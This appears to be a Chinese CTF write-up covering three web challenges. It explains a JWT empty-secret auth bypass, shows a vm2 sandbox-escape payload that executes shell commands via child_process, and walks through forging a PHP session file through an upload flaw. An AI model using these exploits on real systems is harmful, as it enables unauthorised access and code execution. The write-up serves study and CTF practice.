easyLogin
知识点:
NodeJS的jwt依赖库的空加密缺陷,将secretid置为空即可绕过限制,登录admin账户,然后GET /api/flag就可以获得flag。
2019年的UNCTF里面就有一道题里面涉及了这个知识点(当时这道题没复现。。。。后悔
https://xz.aliyun.com/t/2338
https://evoa.me/index.php/archives/60/
其实这道题还有一个可以利用的任意文件读取漏洞,可以拿下源码进行审计。
直接访问对应文件就可以,例如
这样就可以将项目所有的文件都读取到,具体参考 https://www.zhaoj.in/read-6512.html
justEscape
知识点:
这道题出题人恶趣味的在run.php混淆视听,用了PHP的一堆东西试了试,发现不行,扔了个81打出了81,还以为是python写的后台,比赛的时候就卡在这里了
其实是NodeJS的后台,可以丢个报错看看
这个报错内容可以看到是用vm2的框架,直接先去GitHub嫖一个逃逸的payload
https://github.com/patriksimek/vm2/issues/225
1 2 3 4 5 6 7 8 9
| try{ Buffer.from(new Proxy({}, { getOwnPropertyDescriptor(){ throw f=>f.constructor("return process")(); } })); }catch(e){ e(()=>{}).mainModule.require("child_process").execSync("whoami").toString(); }
|
然后数组bypass,run.php?code[]=***
getshell
babyUpload
知识点:
- session伪造
- session处理方式判断
- 函数特性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>
|
源码直接给了,稍微读一下源码,可以知道这道题需要伪造session
总体思路就是,伪造session获得admin权限–>上传success.txt文件–>获得flag
我们知道session文件的存储文件名为sess_{sessid}
于是我们构造题目download的请求,获得一个session看看格式
根据格式可以判断其 session 处理器为 php_binary,则使用本地的的 PHP,将其 session 处理器改为 php_binary,然后利用其来生成 session 文件。
1 2 3 4 5 6 7
| <?php
ini_set('session.serialize_handler', 'php_binary'); session_save_path("./test"); session_start();
$_SESSION['username'] = 'admin';
|
然后用PHP命令将文件进行哈希
将文件重命名为sess之后,利用题目的upload上传,这里如此重命名文件名的原因是,在源码中,服务器对上传的文件进行了哈希摘要,如下,所以文件上传之后的文件名就变成了我们想要的sess_{hash(sessid)}
1 2
| $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
|
上传之后download一下看看是否成功
剩下的事情就简单了,先修改一下页面的cookie值
然后上传success.txt文件,但是这里并不能直接控制文件名。所以要利用到file_exists()方法的特性,在 PHP 文档中写到这个函数用于判断文件或者目录是否存在。
虽然我们不能完全控制上传的文件名,但上传的路径我们是可以控制的,所以我们只需要在 /var/babyctf/ 下创建一个 success.txt 目录即可。
还记得之前的 attr 参数吗,我们将其改为 success.txt,即可创建一个 success.txt 目录。
刷新页面,flag到手